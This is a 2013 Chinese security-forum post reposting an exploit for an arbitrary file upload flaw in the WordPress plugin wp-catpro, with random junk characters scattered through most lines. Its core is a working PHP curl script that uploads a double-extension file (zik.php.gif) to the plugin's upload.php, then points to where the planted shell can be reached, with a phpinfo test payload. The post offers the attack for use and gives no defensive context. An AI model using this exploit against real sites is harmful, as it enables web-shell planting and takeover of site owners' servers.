找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
) X8 L0 u6 U4 F* g8 M& I% g: N#-----------------------------------------------------------------------# z0 w/ U' a/ J" v2 s

& S$ D$ |# n& Z' l# @$ j; c# M7 C6 W作者  => Zikou-16
4 i+ w8 C' w( H1 o) l" o: k5 l  |邮箱 => zikou16x@gmail.com1 I; Q* J6 }5 D5 p
测试系统 : Windows 7 , Backtrack 5r36 E/ W6 V* I) b
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
% h1 r/ i7 q+ g8 b4 M7 d  |####
2 D2 X$ \! P8 M& F0 d( m, _5 x   v! L3 D6 a% x6 l: z
#=> Exploit 信息:
% z9 C" H4 |6 S, ^) ~3 f( T& B------------------
3 M6 _+ A+ P0 K9 e# 攻击者可以上传 file/shell.php.gif6 M: n& U, {& Z$ ~$ c
# ("jpg", "gif", "png")  // Allowed file extensions
  P9 {9 y8 c9 E" r& _# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment). f, E4 h3 ?  p, v
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
5 A, S8 m3 V* W4 c------------------
% ~8 c; x5 Q7 q& l2 ] , [' A' y/ u( o2 Z2 f) D
#=> Exploit
: O) }* R* n. r/ r* q1 U-----------# N: {6 ^" }. R
<?php( {! L  F5 g. ~* H% t0 p( p9 V
' a- `* g( a4 {
$uploadfile="zik.php.gif";) ]3 N+ O0 M* S9 P& e0 i
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
3 B: M3 Q1 X0 ~" ~) g1 k) Z1 h4 Lcurl_setopt($ch, CURLOPT_POST, true);! q; S1 J4 q- n+ L* g: T* b. S
curl_setopt($ch, CURLOPT_POSTFIELDS,
$ q0 d' H; y' Q* Xarray('Filedata'=>"@$uploadfile",' \0 [0 ]  d% D3 n
'folder'=>'/wp-content/uploads/catpro/'));- x- R% Q) z  s, H. w
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
: j% R& `4 Q8 R) h  i9 l# l# T$postResult = curl_exec($ch);
% j( ?9 n2 F  p! p% acurl_close($ch);5 P! ~4 f- u  T4 z! ?$ X

' t7 T$ O0 a5 A4 Bprint "$postResult";, B; x: a+ ?* P5 {! q: V7 i! y6 u
( Z0 o" X) P9 y; Z/ r5 c
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
' A0 N2 a* z9 s2 U7 e& H  ?>
+ Y2 v7 L" p* v4 e<?php3 S6 K6 M: J- a6 d! }
phpinfo();
8 R$ v" c  f( ]5 e4 T?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表